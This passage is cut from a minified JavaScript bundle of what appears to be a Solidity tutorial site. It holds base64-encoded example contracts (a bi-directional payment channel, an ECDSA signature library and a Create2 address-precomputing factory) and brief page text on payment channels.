mVsIGlzIGV4cGlyZWQKKi8KCmNvbnRyYWN0IEJpRGlyZWN0aW9uYWxQYXltZW50Q2hhbm5lbCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBldmVudCBDaGFsbGVuZ2VFeGl0KGFkZHJlc3MgaW5kZXhlZCBzZW5kZXIsIHVpbnQyNTYgbm9uY2UpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CgogICAgYWRkcmVzcyBwYXlhYmxlWzJdIHB1YmxpYyB1c2VyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNVc2VyOwoKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CgogICAgdWludDI1NiBwdWJsaWMgY2hhbGxlbmdlUGVyaW9kOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwogICAgdWludDI1NiBwdWJsaWMgbm9uY2U7CgogICAgbW9kaWZpZXIgY2hlY2tCYWxhbmNlcyh1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMpIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLmJhbGFuY2UgPj0gX2JhbGFuY2VzWzBdICsgX2JhbGFuY2VzWzFdLAogICAgICAgICAgICAiYmFsYW5jZSBvZiBjb250cmFjdCBtdXN0IGJlID49IHRvIHRoZSB0b3RhbCBiYWxhbmNlIG9mIHVzZXJzIgogICAgICAgICk7CiAgICAgICAgXzsKICAgIH0KCiAgICAvLyBOT1RFOiBkZXBvc2l0IGZyb20gbXVsdGktc2lnIHdhbGxldAogICAgY29uc3RydWN0b3IoCiAgICAgICAgYWRkcmVzcyBwYXlhYmxlWzJdIG1lbW9yeSBfdXNlcnMsCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX2V4cGlyZXNBdCwKICAgICAgICB1aW50MjU2IF9jaGFsbGVuZ2VQZXJpb2QKICAgICkgcGF5YWJsZSBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykgewogICAgICAgIHJlcXVpcmUoX2V4cGlyZXNBdCA+IGJsb2NrLnRpbWVzdGFtcCwgIkV4cGlyYXRpb24gbXVzdCBiZSA+IG5vdyIpOwogICAgICAgIHJlcXVpcmUoX2NoYWxsZW5nZVBlcmlvZCA+IDAsICJDaGFsbGVuZ2UgcGVyaW9kIG11c3QgYmUgPiAwIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF91c2Vycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHBheWFibGUgdXNlciA9IF91c2Vyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUoIWlzVXNlclt1c2VyXSwgInVzZXIgbXVzdCBiZSB1bmlxdWUiKTsKICAgICAgICAgICAgdXNlcnNbaV0gPSB1c2VyOwogICAgICAgICAgICBpc1VzZXJbdXNlcl0gPSB0cnVlOwoKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcl0gPSBfYmFsYW5jZXNbaV07CiAgICAgICAgfQoKICAgICAgICBleHBpcmVzQXQgPSBfZXhwaXJlc0F0OwogICAgICAgIGNoYWxsZW5nZVBlcmlvZCA9IF9jaGFsbGVuZ2VQZXJpb2Q7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcywKICAgICAgICBhZGRyZXNzIF9jb250cmFjdCwKICAgICAgICBhZGRyZXNzWzJdIG1lbW9yeSBfc2lnbmVycywKICAgICAgICB1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludDI1NiBfbm9uY2UKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWduYXR1cmVzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIC8qCiAgICAgICAgICAgIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdAogICAgICAgICAgICAgICAgICBhZ2FpbnMgcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgYm9vbCB2YWxpZCA9IF9zaWduZXJzW2ldCiAgICAgICAgICAgICAgICA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfY29udHJhY3QsIF9iYWxhbmNlcywgX25vbmNlKSkKICAgICAgICAgICAgICAgICAgICAudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpLnJlY292ZXIoX3NpZ25hdHVyZXNbaV0pOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBtb2RpZmllciBjaGVja1NpZ25hdHVyZXMoCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzLAogICAgICAgIHVpbnQyNTZbMl0gbWVtb3J5IF9iYWxhbmNlcywKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSB7CiAgICAgICAgLy8gTm90ZTogY29weSBzdG9yYWdlIGFycmF5IHRvIG1lbW9yeQogICAgICAgIGFkZHJlc3NbMl0gbWVtb3J5IHNpZ25lcnM7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgdXNlcnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgc2lnbmVyc1tpXSA9IHVzZXJzW2ldOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdmVyaWZ5KF9zaWduYXR1cmVzLCBhZGRyZXNzKHRoaXMpLCBzaWduZXJzLCBfYmFsYW5jZXMsIF9ub25jZSksCiAgICAgICAgICAgICJJbnZhbGlkIHNpZ25hdHVyZSIKICAgICAgICApOwoKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlVc2VyKCkgewogICAgICAgIHJlcXVpcmUoaXNVc2VyW21zZy5zZW5kZXJdLCAiTm90IHVzZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYWxsZW5nZUV4aXQoCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcwogICAgKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlVc2VyCiAgICAgICAgY2hlY2tTaWduYXR1cmVzKF9zaWduYXR1cmVzLCBfYmFsYW5jZXMsIF9ub25jZSkKICAgICAgICBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykKICAgIHsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGV4cGlyZXNBdCwgIkV4cGlyZWQgY2hhbGxlbmdlIHBlcmlvZCIpOwogICAgICAgIHJlcXVpcmUoX25vbmNlID4gbm9uY2UsICJOb25jZSBtdXN0IGJlIGdyZWF0ZXIgdGhhbiB0aGUgY3VycmVudCBub25jZSIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfYmFsYW5jZXMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcnNbaV1dID0gX2JhbGFuY2VzW2ldOwogICAgICAgIH0KCiAgICAgICAgbm9uY2UgPSBfbm9uY2U7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgY2hhbGxlbmdlUGVyaW9kOwoKICAgICAgICBlbWl0IENoYWxsZW5nZUV4aXQobXNnLnNlbmRlciwgbm9uY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIG9ubHlVc2VyIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiQ2hhbGxlbmdlIHBlcmlvZCBoYXMgbm90IGV4cGlyZWQgeWV0IgogICAgICAgICk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="}],cj=`

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

Payments can go both ways, Alice pays Bob and Bob pays Alice.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -516,7 +516,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         );
     }
 }
-
`,cj=({prev:s,next:a})=>r.jsx(u,{version:aj,title:nj,description:lj,html:ej,prev:s,next:a,codes:pj}),tj="0.8.24",oj="Precompute Contract Address with Create2",rj="Precompute contract address with create2",ij=[{fileName:"Create2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveShhZGRyZXNzIF9vd25lciwgdWludDI1NiBfZm9vLCBieXRlczMyIF9zYWx0KQogICAgICAgIHB1YmxpYwogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIC8vIFRoaXMgc3ludGF4IGlzIGEgbmV3ZXIgd2F5IHRvIGludm9rZSBjcmVhdGUyIHdpdGhvdXQgYXNzZW1ibHksIHlvdSBqdXN0IG5lZWQgdG8gcGFzcyBzYWx0CiAgICAgICAgLy8gaHR0cHM6Ly9kb2NzLnNvbGlkaXR5bGFuZy5vcmcvZW4vbGF0ZXN0L2NvbnRyb2wtc3RydWN0dXJlcy5odG1sI3NhbHRlZC1jb250cmFjdC1jcmVhdGlvbnMtY3JlYXRlMgogICAgICAgIHJldHVybiBhZGRyZXNzKG5ldyBUZXN0Q29udHJhY3R7c2FsdDogX3NhbHR9KF9vd25lciwgX2ZvbykpOwogICAgfQp9CgovLyBUaGlzIGlzIHRoZSBvbGRlciB3YXkgb2YgZG9pbmcgaXQgdXNpbmcgYXNzZW1ibHkKY29udHJhY3QgRmFjdG9yeUFzc2VtYmx5IHsKICAgIGV2ZW50IERlcGxveWVkKGFkZHJlc3MgYWRkciwgdWludDI1NiBzYWx0KTsKCiAgICAvLyAxLiBHZXQgYnl0ZWNvZGUgb2YgY29udHJhY3QgdG8gYmUgZGVwbG95ZWQKICAgIC8vIE5PVEU6IF9vd25lciBhbmQgX2ZvbyBhcmUgYXJndW1lbnRzIG9mIHRoZSBUZXN0Q29udHJhY3QncyBjb25zdHJ1Y3RvcgogICAgZnVuY3Rpb24gZ2V0Qnl0ZWNvZGUoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIGJ5dGVzIG1lbW9yeSBieXRlY29kZSA9IHR5cGUoVGVzdENvbnRyYWN0KS5jcmVhdGlvbkNvZGU7CgogICAgICAgIHJldHVybiBhYmkuZW5jb2RlUGFja2VkKGJ5dGVjb2RlLCBhYmkuZW5jb2RlKF9vd25lciwgX2ZvbykpOwogICAgfQoKICAgIC8vIDIuIENvbXB1dGUgdGhlIGFkZHJlc3Mgb2YgdGhlIGNvbnRyYWN0IHRvIGJlIGRlcGxveWVkCiAgICAvLyBOT1RFOiBfc2FsdCBpcyBhIHJhbmRvbSBudW1iZXIgdXNlZCB0byBjcmVhdGUgYW4gYWRkcmVzcwogICAgZnVuY3Rpb24gZ2V0QWRkcmVzcyhieXRlcyBtZW1vcnkgYnl0ZWNvZGUsIHVpbnQyNTYgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKAogICAgICAgICAgICAgICAgYnl0ZXMxKDB4ZmYpLCBhZGRyZXNzKHRoaXMpLCBfc2FsdCwga2VjY2FrMjU2KGJ5dGVjb2RlKQogICAgICAgICAgICApCiAgICAgICAgKTsKCiAgICAgICAgLy8gTk9URTogY2FzdCBsYXN0IDIwIGJ5dGVzIG9mIGhhc2ggdG8gYWRkcmVzcwogICAgICAgIHJldHVybiBhZGRyZXNzKHVpbnQxNjAodWludDI1NihoYXNoKSkpOwogICAgfQoKICAgIC8vIDMuIERlcGxveSB0aGUgY29udHJhY3QKICAgIC8vIE5PVEU6CiAgICAvLyBDaGVjayB0aGUgZXZlbnQgbG9nIERlcGxveWVkIHdoaWNoIGNvbnRhaW5zIHRoZSBhZGRyZXNzIG9mIHRoZSBkZXBsb3llZCBUZXN0Q29udHJhY3QuCiAgICAvLyBUaGUgYWRkcmVzcyBpbiB0aGUgbG9nIHNob3VsZCBlcXVhbCB0aGUgYWRkcmVzcyBjb21wdXRlZCBmcm9tIGFib3ZlLgogICAgZnVuY3Rpb24gZGVwbG95KGJ5dGVzIG1lbW9yeSBieXRlY29kZSwgdWludDI1NiBfc2FsdCkgcHVibGljIHBheWFibGUgewogICAgICAgIGFkZHJlc3MgYWRkcjsKCiAgICAgICAgLyoKICAgICAgICBOT1RFOiBIb3cgdG8gY2FsbCBjcmVhdGUyCgogICAgICAgIGNyZWF0ZTIodiwgcCwgbiwgcykKICAgICAgICBjcmVhdGUgbmV3IGNvbnRyYWN0IHdpdGggY29kZSBhdCBtZW1vcnkgcCB0byBwICsgbgogICAgICAgIGFuZCBzZW5kIHYgd2VpCiAgICAgICAgYW5kIHJldHVybiB0aGUgbmV3IGFkZHJlc3MKICAgICAgICB3aGVyZSBuZXcgYWRkcmVzcyA9IGZpcnN0IDIwIGJ5dGVzIG9mIGtlY2NhazI1NigweGZmICsgYWRkcmVzcyh0aGlzKSArIHMgKyBrZWNjYWsyNTYobWVtW3DigKYocCtuKSkpCiAgICAgICAgICAgICAgcyA9IGJpZy1lbmRpYW4gMjU2LWJpdCB2YWx1ZQogICAgICAgICovCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBhZGRyIDo9CiAgICAgICAgICAgICAgICBjcmVhdGUyKAogICAgICAgICAgICAgICAgICAgIGNhbGx2YWx1ZSgpLCAvLyB3ZWkgc2VudCB3aXRoIGN1cnJlbnQgY2FsbAogICAgICAgICAgICAgICAgICAgIC8vIEFjdHVhbCBjb2RlIHN0YXJ0cyBhZnRlciBza2lwcGluZyB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBhZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgICAgIG1sb2FkKGJ5dGVjb2RlKSwgLy8gTG9hZCB0aGUgc2l6ZSBvZiBjb2RlIGNvbnRhaW5lZCBpbiB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBfc2FsdCAvLyBTYWx0IGZyb20gZnVuY3Rpb24gYXJndW1lbnRzCiAgICAgICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CgogICAgICAgIGVtaXQgRGVwbG95ZWQoYWRkciwgX3NhbHQpOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoYWRkcmVzc